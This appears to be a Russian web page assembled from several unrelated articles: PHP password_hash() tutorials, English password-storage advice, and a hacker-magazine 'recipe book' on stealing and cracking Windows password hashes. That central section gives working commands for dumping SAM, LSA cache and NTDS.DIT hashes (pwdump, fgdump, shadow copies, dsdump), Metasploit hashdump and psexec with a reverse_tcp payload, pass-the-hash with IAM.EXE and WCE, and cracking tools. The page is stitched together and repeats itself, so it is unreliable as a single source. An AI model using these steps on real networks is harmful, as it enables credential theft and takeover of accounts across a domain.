Безопасное хеширование паролей. Хэширование паролей с помощью Hash API

В этом разделе разъясняются причины, стоящие за хешированием паролей в целях безопасности, а также эффективные методы хеширования.

Почему я должен хешировать пароли пользователей в моем приложении?

Хеширование паролей является одним из самых основных соображений безопасности, которые необходимо сделать, при разработке приложения, принимающего пароли от пользователей. Без хеширования, пароли, хранящиеся в базе вашего приложения, могут быть украдены, например, если ваша база данных была скомпрометирована, а затем немедленно могут быть применены для компрометации не только вашего приложения, но и аккаунтов ваших пользователей на других сервисах, если они не используют уникальных паролей.

Применяя хеширующий алгоритм к пользовательским паролям перед сохранением их в своей базе данных, вы делаете невозможным разгадывание оригинального пароля для атакующего вашу базу данных, в то же время сохраняя возможность сравнения полученного хеша с оригинальным паролем.

Важно заметить, однако, что хеширование паролей защищает их только от компрометирования в вашем хранилище, но не обязательно от вмешательства вредоносного кода в вашем приложении.

Почему популярные хеширующие функции, такие как md5() и sha1() не подходят для паролей?

Такие хеширующие алгоритмы как MD5, SHA1 и SHA256 были спроектированы очень быстрыми и эффективными. При наличии современных технологий и оборудования, стало довольно просто выяснить результат этих алгоритмов методом "грубой силы" для определения оригинальных вводимых данных.

Из-за той скорости, с которой современные компьютеры могут "обратить" эти хеширующие алгоритмы, многие профессионалы компьютерной безопасности строго не рекомендуют использовать их для хеширования паролей.

Если популярные хеширующие функции не подходят, как же я тогда должен хешировать свои пароли?

При хешировании паролей существует два важных соображения: это стоимость вычисления и соль. Чем выше стоимость вычисления хеширующего алгоритма, тем больше времени требуется для взлома его вывода методом "грубой силы".

Serious Security: How to store your users’ passwords safely

In summary, here is our minimum recommendation for safe storage of your users’ passwords:

Use a strong random number generator to create a salt of 16 bytes or longer.
Feed the salt and the password into the PBKDF2 algorithm.
Use HMAC-SHA-256 as the core hash inside PBKDF2.
Perform 20,000 iterations or more. (June 2016.)
Take 32 bytes (256 bits) of output from PBKDF2 as the final password hash.
Store the iteration count, the salt and the final hash in your password database.
Increase your iteration count regularly to keep up with faster cracking tools.

Whatever you do, don’t try to knit your own password storage algorithm.

Эта статья представляет собой полный сборник рецептов, описывающих, как сдампить хеши пользовательских паролей, восстановить исходный пасс путем выполнения брутфорса и получить с помощью извлеченного хеша доступ к защищенным ресурсам, используя недоработки протокола аутентификации NTLM. Минимум теории - только практика. Мы собрали все в одном месте и создали полный мануал.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Где пароли?

Сразу отвечу на вопрос о том, где хранятся хеши паролей в системе. В общем случае их можно извлечь из трех мест:

  • из локальной SAM-базы, где хранятся LM/NTLM-хеши локальных пользователей;
  • из кеша LSA, в который попадают LM/NTLM-хеши доменных пользователей, стираемые после перезагрузки;
  • из специального кеша, где сохраняются MSCache-хеши паролей десяти последних пользователей, которые авторизовались на данном хосте (пароли кешируются, чтобы можно было войти в систему, если связь с доменом временно отсутствует).

Если используется контроллер домена, есть еще AD-хранилище. Важно понимать одно: из каждого указанного места пароли можно сдампить! Большинство приведенных ниже приемов давно известны, но мы решили сделать своего рода полный сборник рецептов, к которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению рецептов.

PwDump и fgdump

Начнем с ситуации, когда у нас есть физический доступ к интересующей нас системе. В этом случае NTLM/LM-хеши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они необходимы для DLL-инжекта с помощью SeDebugPrivilege. Будем для простоты считать, что у нас есть аккаунт с правами администратора (а еще лучше NT AUTHORITY\SYSTEM).


Если имеется физический доступ, сдамить хеши довольно просто: есть много способов, к тому же всегда можно загрузить с флешки (или LiveCD), например, Kon-Boot , чтобы войти в систему под любым пользователем. Есть и много других хаков (в том числе для повышения привилегий до NT AUTHORITY\SYSTEM с локального админа), о которых мы не раз писали в рубрике EasyHack в прошлом году. Но вернемся к процессу извлечения хешей. Самыми известными утилитами для создания дампа хешей являются pwdump и fgdump . Работать с этими тулзами достаточно просто, да и по функционалу они очень похожи. Для дампа хешей достаточно просто запустить проги:

Pwdump localhost fgdump.exe

Первая утилита выводит найденные хеши непосредственно в консоль. Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP (хеши паролей локальных пользователей) и 127.0.0.1.CACHEDUMP (закешированные хеши паролей доменных пользователей).

Одна из наиболее интересных опций, которую поддерживают обе утилиты, позволяет дампить хеши с удаленных машин. Чтобы провернуть этот фокус, скажем, с помощью pwdump, надо выполнить:

> pwdump -o mytarget.log -u MYDOMAIN\someuser -p \ "lamepassword" 10.1.1.1

Здесь 10.1.1.1 - адрес удаленной машины, MYDOMAIN\someuser - аккаунт пользователя, lamepassword - пароль пользователя, а mytarget.log - файл для сохранения результатов. В отличие от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких:

> fgdump.exe -f hostfile.txt -u MYDOMAIN\someuser -T 10

В данном случае hostfile.txt - файл, содержащий список хостов, «-T 10» - количество параллельно работающих потоков. Полученный хеш можно попробовать сбрутфорсить с помощью специальных утилит, чтобы узнать исходный пасс (ищи целую подборку подходящих тулз на врезке).

Примечательно, что некоторые из них для большего удобства поддерживают формат вывода fgdump.exe.

Дамп паролей с помощью Volume Shadow Copy Service

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дампинга паролей, о котором пойдет речь далее, появился относительно недавно. Что круче всего, он вообще не требует сторонних инструментов и задействует только возможности самой системы. Как мы уже знаем, хеши паролей локальных пользователей хранятся в том числе и в файле SAM, правда, в зашифрованном виде. Поэтому, чтобы прочитать их, требуется еще один файл - SYSTEM. Эти два файла представляют собой системные ветви реестра, которые ОС постоянно использует, поэтому доступ к ним невозможен даже из-под администратора. Из-за этого многим приложениям, которые извлекают хеши паролей, приходится идти на ухищрения, чтобы получить доступ к этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся легальным механизмом, который предоставляет сама ОС. Этот механизм, позволяющий делать «мгновенный снимок» тома, называется Volume Shadow Copy Service (теневое копирование тома). Он появился в ОС Windows начиная с версий XP и Server 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки (Volume Shadow Copy for Shared Folders). Суть идеи состоит в том, что при теневом копировании будут созданы копии важных системных файлов (в частности, SAM и SYSTEM), доступ к которым мы сможем легко получить. Чтобы избавиться от лишней работы в консоли, воспользуемся небольшим скриптиком vssown.vbs , управляющим созданием копий. Сценарий ты найдешь на нашем диске. Для начала запускаем сервис теневого копирования: cscript vssown.vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown.vbs /list.

Созданная нами копия будет самой последней. Из всей информации нас интересует Device object со значением «\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14» (здесь 14 - номер теневой копии). Дальнейшие манипуляции предельно просты.

  1. Копируем интересующие нас файлы:copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SYSTEM . copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SAM .
  2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа SAMInside для расшифровки полученных хешей.

Дамп паролей всех пользователей домена!

Интересно, что используя предыдущий прием, можно легко слить хеши паролей не только локальных, но и вообще всех доменных пользователей! Правда, только если у нас есть доступ к контроллеру домена. Предположим, мы создали теневую копию и скопировали файлы SAM и SYSTEM. Active Directory хранит данные о пользователях в файле NTDS.DIT, так что нужно скопировать и его:

Copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\ntds\ntds.dit .

Данные о пользователях хранятся в зашифрованном виде, поэтому их нужно будет расшифровывать с помощью файла SYSTEM. Итак, что мы имеем? У нас есть файлы SYSTEM и NTDS.DIT, но как нам получить список пользователей и их хешей? До недавнего времени это было непросто, так как бесплатных утилит, способных распарсить NTDS.DIT и расшифровать хеши, не существовало. Но недавно исследователь по имени Csaba Barta выпустил тулкит, который умеет разбирать файл NTDS.DIT и извлекать оттуда хеши. Весь инструментарий доступен по адресу csababarta.com/downloads/ntdsdump hash.zip Посмотрим, как этот тулкит работает. Для дальнейших манипуляций будем использовать BackTrack5 (подойдет любой другой Linux-дистрибутив), хотя все то же самое можно провернуть и под виндой. Загружаемся, скачиваем архив тулкита и распаковываем его. Далее собираем библиотеку libesedb:

Cd libesedb chmod +x configure ./configure && make

Теперь можно приступать к дампу хэшей. Прежде всего извлекаем таблицу, содержащую зашифрованные данные:

Cd esedbtools ./esedbdumphash ../../ntds.dit

У нас появился файл /libesedb/esedbtools/ntds.dit.export/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, который содержится в SYSTEM:

Cd ../../creddump/ python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

Готово! На выходе получаем хеши всех пользователей домена! Интересно, что можно извлечь еще и предыдущие пароли пользователей (их хеши). Для этого в инструментарии имеется отдельная утилита, которую легко задействовать:

Python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Если их удастся взломать, вполне можно проследить закономерность, в соответствии с которой пользователь меняет свои пароли (она очень часто существует).

HashGrab2 + samdump2

Чтобы сдампить хеши, необязательно логиниться в системе. Опять же, если есть физический доступ к компьютеру, то можно не только загрузить с LiveCD утилиту для сброса пароля (скажем, Offline NT Password & Registry Editor), но и легко сдампить хеши с помощью специального софта - еще бы, ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуемся утилитами HashGrab2 и , которые можно запустить практически из любого LiveCD-дистрибутива. HashGrab2 автоматически монтирует все Windows-разделы, которые может найти, и при помощи samdump2 извлекает логины и хеши паролей из файлов SAM и SYSTEM. Вот как это выглядит на практике:

> sudo ./hashgrab2.py HashGrab v2.0 by s3my0n http://InterN0T.net Contact: RuSH4ck3Rgmailcom [*] Mounted /dev/sda1 to /mnt/jomAT8 [*] Mounted /dev/sdb1 to /mnt/AZwJUs [*] Copying SAM and SYSTEM files... [*] Unmounting partitions... [*] Deleting mount directories... [*] Deleting ["./jomAT8"] >$ ls hashgrab2.py jomAT8.txt >$ cat ./jomAT8.txt Administrator:HASH Guest:501:HASH s3my0n:1000:HASH HomeGroupUser$:1002:HASH

Полученные хеши тут же можно скормить брутфорсеру.

Выключаем кеширование хешей паролей

Как известно, Windows кеширует хеши паролей и логины доменных пользователей, что позволяет зайти на машину, если контроллер домена отключен и недоступен. Если пользователь вводит правильный логин и пароль, то при авторизации система сохраняет хеш пароля на диске. Как ты сам понимаешь, держать такие данные на диске - не самое лучшее решение с точки зрения безопасности, так что эту функцию лучше отключить. Для этого необходимо установить ключ HKEYLOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\cachedlogonscount в значение «0». Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли. С этого момента винда не будет кешировать пароли пользователей домена.

Возможности Metasploit

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Meterpreter. В Metasploit Framework уже встроен функционал для извлечения списка пользователей и хешей паролей. Делается это в одну команду:

Meterpreter > run post/windows/gather/hashdump

В результате мы получаем список пользователей и хешей. Но останавливаться на достигнутом не стоит. Metasploit - штука многофункциональная, поэтому можно попробовать использовать полученные хеши для доступа к другим компьютерам в сети жертвы - вдруг подойдут. Для этого пригодится модуль PsExec:

Meterpreter > use exploit/windows/smb/psexec meterpreter > set payload windows/meterpreter/reverse_tcp meterpreter > set rhost [адрес удаленного хоста] meterpreter > set smbpass [ранее полученный хеш пользователя] meterpreter > set smbuser [логин пользователя] meterpreter > set lhost [адрес локальной машины] meterpreter > exploit meterpreter > shell - получили шелл на удаленной машине

Как видишь, все происходит автоматически, без всяких сложностей. Чтобы дальше ковыряться с любыми файлами системы, полезно сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда getsystem. Этот модуль попробует поднять права в ОС, используя уязвимости MS09-012, а также нашумевшую уязвимость MS10-015 (KiTrap0D) и не только.


Cain&Abel - еще одна замечательная тулза для брутфорса NTML хэшей
(кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

Техника Pass-the-Hash

В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть даже брутить ничего не надо. Достал хеш - и можешь лазить по сетке с правами скомпрометированного юзера:). Соответствующий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit . В него входит три утилиты: IAM.EXE, WHOSTHERE.EXE и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NT-хешей переданного ей пароля. WHOSTHERE.EXE, выводит всю информацию о логин-сессиях, которую операционная система хранит в памяти. Тулза отображает информацию о пользователях, которые на данный момент залогинены в системе: имя юзера, домен/рабочую группу и NTLM-хеши пароля. Утилита IAM.EXE позволяет прикинуться другим пользователем при получении доступа к какой-либо папке на удаленной машине, подменяя данные текущего пользователя (логин, хеш пароля, домен и т. д.), когда они в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять ли ему доступ к запрашиваемому ресурсу. После успешной подмены все сетевые соединения с удаленными серверами, осуществляющие аутентификацию с помощью NTLM-хешей, используют подмененные данные, что позволяет получить доступ к «чужой» шаре. Рассмотрим примерный сценарий использования:

whosthere.exe - получаем данные всех залогиненных пользователей; iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 - подменяем свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к сетевым ресурсам другого пользователя.

Windows Credentials Editor


WCE представляет собой аналог Pass-the-Hash Toolkit’а, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот инструмент мне нравится больше. При запуске без параметров приложение возвращает список пользователей, залогиненных на данный момент в системе (утилита вытаскивает NTLM/LM-хеши из памяти):

Wce.exe –l

После этого можно выбрать из них подходящего кандидата для наших черных дел и воспользоваться его данными. Допустим, нам нужно подменить свои данные на данные другого пользователя и запустить какую-нибудь программу якобы уже из-под него:

Wce.exe -s ::: \ -c

Тогда выполняем следующую команду:

Wce.exe –s user:Victim:1F27ACDE849935B0AAD3B435B51404EE:579110C49145015C47ECD267657D3174 -c "c:\Program Files\ Internet Explorer\iexplore.exe"

Здесь «-s» «добавляет» нового пользователя с именем user и доменом Victim, за которыми следует LM- и NTLM-хеш, а «-с» указывает, какую программу следует запустить под этим пользователем. Как видишь, все довольно просто. 🙂

Программы для взлома хешей

SAMInside

insidepro.com/rus/saminside.shtml Пожалуй, самая популярная программа для взлома NTLM-хешей. Позволяет импортировать свыше десяти типов данных и использовать шесть видов атак для восстановления паролей пользователей.Код брутфорсера полностью написан на асме, что обеспечивает очень высокую скорость перебора. Очень важно, что программа корректно извлекает имена и пароли пользователей Windows в национальных кодировках символов.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Небольшая программка, которая может выручить в трудный момент. Она позволяет взломать NT-хеш, когда LM-пароль уже известен. Вся фишка в том, что LM-пароль регистронезависимый, а NT - регистрозависимый и как раз по нему и происходит проверка. Таким образом, если ты знаешь, что LM-пароль - ADMINISTRAT0R, но не знаешь, какие буквы заглавные, а какие нет, тебе поможет lm2ntcrack.

ighashgpu

www.golubev.com/hashgpu.htm Процесс подбора очень трудоемкий и занимает много времени. Поэтому, чтобы как-то его ускорить, целесообразно использовать ресурсы самого мощного устройства в системе - видеокарты. Программа ighashgpu позволяет задействовать GPU для взлома хешей MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Если при этом использовать атаку по словарю, успешный результат можно будет получить намного быстрее.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Еще одна утилита, использующая мощь графической карты для взлома различных хешей. Как можно догадаться по названию, ориентирована на видеокарты фирмы nVidia. Поддерживает внушительный список хешей: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5PS: md5($pass.$salt), MD5 SP: md5($salt.$pass), SSHA: base64(sha1($pass.$salt)), DOUBLEMD5: md5(md5($pass)), TRIPLEMD5, LM: Microsoft LanMan hash и др.

ophcrack

Программа для восстановления паролей Windows с использованием rainbow-таблиц. В таких таблицах в особой форме содержатся предварительно рассчитанные хеши для разных паролей. Таким образом, найдя заданный хэш в таблице, мы быстро получаем готовый пароль. Успех напрямую зависит от размера rainbow-таблицы. Так что, если не хочется брутить пароль тупым перебором, рекомендую скачать табличку побольше.

John the Ripper

www.openwall.com Официальная версия этого легендарного брутфорсера паролей не поддерживает взлом NTLM-хешей, но энтузиасты не могли не прокачать функционал любимой хак-тулзы. Выпущен специальный jumbo-патч, который позволяет брутфорсить более десяти дополнительных видов хешей, в том числе NTLM. На офсайте есть как diff’ы, которые можно наложить на оригинальные сорцы, так и готовые к использованию бинарники (в том числе для win32).

Заключение

Вот, собственно, и все. Мы рассмотрели все наиболее часто встречающиеся ситуации. На самом деле существует гораздо больше способов, позволяющих увести (например, с помощью снифера) и использовать хеши, но в большинстве своем они сводятся к рассмотренным выше методам.

В данной статье мы расскажем об основах использования нового API для хеширования в PHP. Данный способ хэширования паролей упростит Вам жизнь на столько, на сколько это возможно. Берем наш пароль -> получаем хэш -> записываем в базу. Никаких лишних манипуляций.

. password_hash() - используется для хэширования пароля.
. password_verify() - используется для проверки пароля на соответствие хэшу.
. password_needs_rehash() - используется для проверки необходимости создать новый хэш.
. password_get_info() - возвращает имя алгоритма хеширования и различные параметры, используемые при хэшировании.

// наш пароль
$pass="123456";
$hash=password_hash($pass, PASSWORD_DEFAULT);
?> Вот так легко и просто. Первым параметр - строка пароля, который необходимо захэшировать, а второй параметр определяет алгоритм, который должен быть использован для генерирования хэша.

Алгоритм по умолчанию, в настоящее время, BCrypt, но более сильный алгоритм может быть установлен по умолчанию, когда-нибудь в будущем, и, возможно, он будет генерировать большие строки. Если вы используете PASSWORD_DEFAULT, обязательно храните хэш в колонке, размером больше 60 символов. Лучше всего установить размер 255. Также можете использовать PASSWORD_BCRYPT в качестве второго параметра. В этом случае результат всегда будет 60 символов.

Итак, если Вам показалось этого мало, можете использовать свою собственную соль
$op=[
"salt" => gensalt(), // здесь Ваша функция генерации соли
"cost" => 12
];
$hash=password_hash($pass, PASSWORD_DEFAULT, $op);
?> Готово.

Теперь проверим вводимый пользователем пароль. Все что нам нужно - это взять хэш пароля из нашей базы и сравнить его с введённым паролем.

// $hash - это хэш пароля, полученный из базы
if (password_verify($pass, $hash)):
print "Верный пароль!";
else:
print "Неверный пароль:(";
endif;
?> password_needs_rehash()
Функция password_needs_rehash() проверяет, использует ли хэш пароля конкретный алгоритм, соль и стоимость вычисления.
if (password_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])):
$hash=password_hash($pass, PASSWORD_DEFAULT, ["cost" => 12]);
endif;
?> Данную операцию можно делать при входе пользователя в систему, ведь только тогда мы получаем доступ к паролю в явном виде.

password_get_info()
Функция password_get_info() принимает хэш и возвращает ассоциативный массив из трех элементов:
. algo - константа, которая идентифицирует конкретный алгоритм
. algoName - название используемого алгоритма
. options - различные опции, используемые при генерации хэша

Нередко бывает нужно узнать пароль, имея на руках только хеш. Для перебора вариантов можно использовать свой компьютер, но гораздо быстрее воспользоваться уже существующей базой данных. Даже в общедоступных базах содержатся десятки миллионов пар хеш - пароль, и поиск по ним через облачный сервис занимает считаные секунды.

В мире существует несколько зеттабайт цифровых данных, но далеко не вся эта информация уникальна: повторы разбросаны по миллиардам носителей и серверов. Независимо от типа данных, для работы с ними требуется решать одни и те же принципиальные задачи. Это снижение избыточности за счет частичного устранения повторов (дедупликация), проверка целостности, инкрементное создание резервных копий и авторизация пользователей. Конечно, последний аспект интересует нас больше всего, однако все эти технические приемы базируются на общих методах обработки данных с использованием хеширования. Существуют облачные сервисы, которые позволяют использовать эту процедуру быстрее - с хорошо известными целями.

На первый взгляд кажется странным, что в разных задачах применяется общая процедура вычисления и сравнения контрольных сумм или хешей - битовых последовательностей фиксированной длины. Однако этот метод действительно универсален. Контрольные суммы служат своеобразными цифровыми отпечатками файлов, ключей, паролей и других данных, называемых в криптографии messages - сообщения. Хеши (или дайджесты, от англ. digest) позволяют сравнивать их между собой, быстро обнаруживать любые изменения и обезопасить проверку доступа. Например, с помощью хешей можно проверять соответствие введенных паролей, не передавая их в открытом виде.

Математически этот процесс выполняется одним из алгоритмов хеширования - итерационного преобразования блоков данных, на которые разбивается исходное сообщение. На входе может быть что угодно - от короткого пароля до огромной базы данных. Все блоки циклично дописываются нулями или урезаются до заданной длины до тех пор, пока не будет получен дайджест фиксированного размера.

Обычно хеши записываются в шестнадцатеричном виде. Так их гораздо удобнее сравнивать на вид, а запись получается в четыре раза короче двоичной. Самые короткие хеши получаются при использовании Adler-32, CRC32 и других алгоритмов с длиной дайджеста 32 бита. Самые длинные - у SHA-512. Кроме них, существует с десяток других популярных хеш-функций, и большинство из них способно рассчитывать дайджесты промежуточной длины: 160, 224, 256 и 384 бита. Попытки создать функцию с увеличенной длиной хеша продолжаются, поскольку чем длиннее дайджест, тем больше разных вариантов может сгенерировать хеш-функция.

Предельный объем исходных данных, который может обработать хеш-функция, определяется формой их представления в алгоритме. Обычно они записываются как целое 64-битное число, поэтому типичный лимит составляет 264 бит минус единица, или два эксабайта. Такое ограничение пока не имеет практической значимости даже для очень крупных дата-центров.

Неповторимость — залог надежности

Уникальность хеша - одно из его ключевых свойств, определяющее криптостойкость системы шифрования. Дело в том, что число вариантов возможных паролей теоретически бесконечно, а вот число хешей всегда конечное, хоть и очень большое. Дайджесты любой хеш-функции будут уникальны лишь до определенной степени. Степени двойки, если быть точным. К примеру, алгоритм CRC32 дает множество всего из 232 вариантов, и в нем трудно избежать повторений. Большинство других функций использует дайджесты длиной 128 или 160 бит, что резко увеличивает число уникальных хешей - до 2’28 и 2160 соответственно.

Совпадение хешей от разных исходных данных (в том числе паролей) называют коллизией. Она может быть случайной (встречается на больших объемах данных) или псевдослучайной - используемой в целях атаки. На эффекте коллизии основан взлом разных криптографических систем - в частности, протоколов авторизации. Все они сначала считают хеш от введенного пароля или ключа, а затем передают этот дайджест для сравнения, часто примешивая к нему на каком-то этапе порцию псевдослучайных данных, или используют дополнительные алгоритмы шифрования для усиления защиты. Сами пароли нигде не сохраняются: передаются и сравниваются только их дайджесты. Здесь важно то, что после хеширования абсолютно любых паролей одной и той же функцией на выходе всегда получится дайджест одинакового и заранее известного размера.

Псевдореверс

Провести обратное преобразование и получить пароль непосредственно из хеша невозможно в принципе, даже если очистить его от соли, поскольку хеширование - это однонаправленная функция. Глядя на полученный дайджест, нельзя понять ни объем исходных данных, ни их тип. Однако можно решить сходную задачу: сгенерировать пароль с таким же хешем. Из-за эффекта коллизии задача упрощается: возможно, ты никогда не узнаешь настоящий пароль, но найдешь совершенно другой, дающий после хеширования по этому же алгоритму требуемый дайджест.

Методы оптимизации расчетов появляются буквально каждый год. Ими занимаются команды HashClash, Distributed Rainbow Table Generator и других международных проектов криптографических вычислений. В результате на каждое короткое сочетание печатных символов или вариант из списка типичных паролей хеши уже вычислены. Их можно быстро сравнить с перехваченным, пока не найдется полное совпадение.

Раньше на это требовались недели или месяцы процессорного времени, которые в последние годы удалось сократить до нескольких часов благодаря многоядерным процессорам и перебору в программах с поддержкой CUDA и OpenCL. Админы нагружают расчетами таблиц серверы во время простоя, а кто-то арендует виртуальный кластер в Amazon ЕС2.

Поиск хеша гуглом

Далеко не все сервисы готовы предоставить услугу поиска паролей по хешам бесплатно. Где-то требуется регистрация и крутится тонна рекламы, а на многих сайтах можно встретить и объявления об услуге платного взлома. Часть из них действительно использует мощные кластеры и загружает их, ставя присланные хеши в очередь заданий, но есть и обычные пройдохи. Они выполняют бесплатный поиск за деньги, пользуясь неосведомленностью потенциальных клиентов.

Вместо того чтобы рекламировать здесь честные сервисы, я предложу использовать другой подход - находить пары хеш - пароль в популярных поисковых системах. Их роботы-пауки ежедневно прочесывают веб и собирают новые данные, среди которых есть и свежие записи из радужных таблиц.

Поэтому для начала просто напиши хеш в поисковой строке Google. Если ему соответствует какой-то словарный пароль, то он (как правило) отобразится среди результатов поисковой выдачи уже на первой странице. Единичные хеши можно погуглить вручную, а большие списки будет удобнее обработать с помощью скрипта

Искать XOR вычислять

Популярные алгоритмы хеширования работают настолько быстро, что к настоящему моменту удалось составить пары хеш - пароль почти для всех возможных вариантов функций с коротким дайджестом. Параллельно у функций с длиной хеша от 128 бит находят недостатки в самом алгоритме или его конкретных реализациях, что сильно упрощает взлом.

В девяностых годах крайне популярным стал алгоритм MD5, написанный Рональдом Ривестом. Он стал широко применяться при авторизации пользователей на сайтах и при подключении к серверам клиентских приложений. Однако его дальнейшее изучение показало, что алгоритм недостаточно надежен. В частности, он уязвим к атакам по типу псевдослучайной коллизии. Иными словами, возможно преднамеренное создание другой последовательности данных, хеш которой будет в точности соответствовать известному.

Поскольку дайджесты сообщений широко применяются в криптографии, на практике использование алгоритма MD5 сегодня приводит к серьезным проблемам. Например, с помощью такой атаки можно подделать цифровой сертификат х.509. В том числе возможна подделка сертификата SSL, позволяющая злоумышленнику выдавать свой фейк за доверенный корневой сертификат (СА). Более того, в большинстве наборов доверенных сертификатов легко найти те, которые по-прежнему используют алгоритм MD5 для подписи. Поэтому существует уязвимость всей инфраструктуры открытых ключей (PKI) для таких атак.

Изнурительную атаку перебором устраивать придется только в случае действительно сложных паролей (состоящих из большого набора случайных символов) и для хеш-функций с дайджестами большой длины (от 160 бит), у которых пока не нашли серьезных недостатков. Огромная масса коротких и словарных паролей сегодня вскрывается за пару секунд с помощью онлайн-сервисов.

Расшифровка хеша онлайн

Пока с помощью онлайн-сервисов и радужных таблиц находятся далеко не все пары хеш - пароль. Однако функции с коротким дайджестом уже побеждены, а короткие и словарные пароли легко обнаружить даже по хешам SHA-160. Особенно впечатляет мгновенный поиск паролей по их дайджестам с помощью Гугла. Это самый простой, быстрый и совершенно бесплатный вариант.

На данный момент использование bcrypt - это лучший способ хэширования паролей, однако множество разработчиков по старинке используют MD5 и SHA1. Многие из них, не применяют технику добавления соли. В PHP 5.5 решили акцентировать внимание разработчиков на алгоритме bcrypt и создали специальный хэш API.

Хэш API состоит из следующих функций:

  • password_hash() - для генерации хэша пароля.
  • password_verify() - проверка пароля.
  • password_needs_rehash() - используется когда нужно перегенерировать хэш.
  • password_get_info() - возвращает название алгоритма и другую информацию.

password_hash()

Использование функции crypt() у многих вызывает ступор из-за сложности, поэтому вместо неё применяются упрощённые способы создания хэша. К примеру:

$hash = md5($password . $salt); // работает, но не надёжно

Функция password_hash() упрощает этот процесс настолько, насколько это возможно. Если вам нужно создать хэш пароля, вызовите эту функцию и запишите значение в базу данных.

$hash = password_hash($passwod, PASSWORD_DEFAULT);

Вот и всё! Первый параметр - это строка представляющая собой пароль; второй - алгоритм, который будет применён.

Алгоритм, который используется по умолчанию - bcrypt, но в будущем будут добавлены и другие, более продвинутые алгоритмы. Если вы используете PASSWORD_DEFAULT, то знайте, что на выходе получите строку из более 60 символов. Она может быть и больше, особенно, при использовании других алгоритмов, так что в таблице размер поля можете выставить 255. В качестве второго параметра, вы можете использовать константу PASSWORD_BCRYPT. В этом случае, размер строки на выходе будет ровно 60 символов.

Важно понять, что вам самим не нужно передавать соль или параметр cost (стоимость - количество раундов подготовки ключей). Новый API сделает это за вас. Но если же вы хотите сами задать данные параметры, то можете сделать это следующим образом.

$options = [ "salt" => custom_function_for_salt(), //напишите свою функцию генерации соли "cost" => 12 // по умолчанию равен 10 ]; $hash = password_hash($password, PASSWORD_DEFAULT, $options);

Вот и всё!

password_verify()

Теперь, когда вы знаете как генерировать хэш, давайте посмотрим на то, как осуществлять проверку.

Функция password_verify() принимает пароль в обычном виде и его хэш. В зависимости от результатов проверки, возвращает true или false.

If (password_verify($password, $hash)) { // Успех! } else { // Провал }

Заметьте, что соль находится в самом хэше, так что нам не нужно указывать её вручную.

password_needs_rehash()

Что если вам необходимо обновить параметры соли или стоимости? Или изменились настройки хэширования PHP? В этом случае, можете воспользоваться функцией password_needs_rehash() для проверки данного факта.

If (password_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])) { // необходимо создать хэш пароля ещё раз $hash = password_hash($password, PASSWORD_DEFAULT, ["cost" => 12]); }

Данную операцию можно делать при входе пользователя в систему, ведь только тогда у нас есть доступ к паролю в явном виде.

password_get_info()

password_get_info() возвращает параметры хэширования:

  • algo - константа с названием алгоритма
  • algoName - название алгоритма
  • options - различные настройки

Заключение

Новый API для хэширования паролей очень прост. Это отличная замена функции crypt(). Если вам на сервере доступна версия PHP 5.5, то мы рекомендуем воспользоваться данным API.

  • Сергей Савенков

    какой то “куцый” обзор… как будто спешили куда то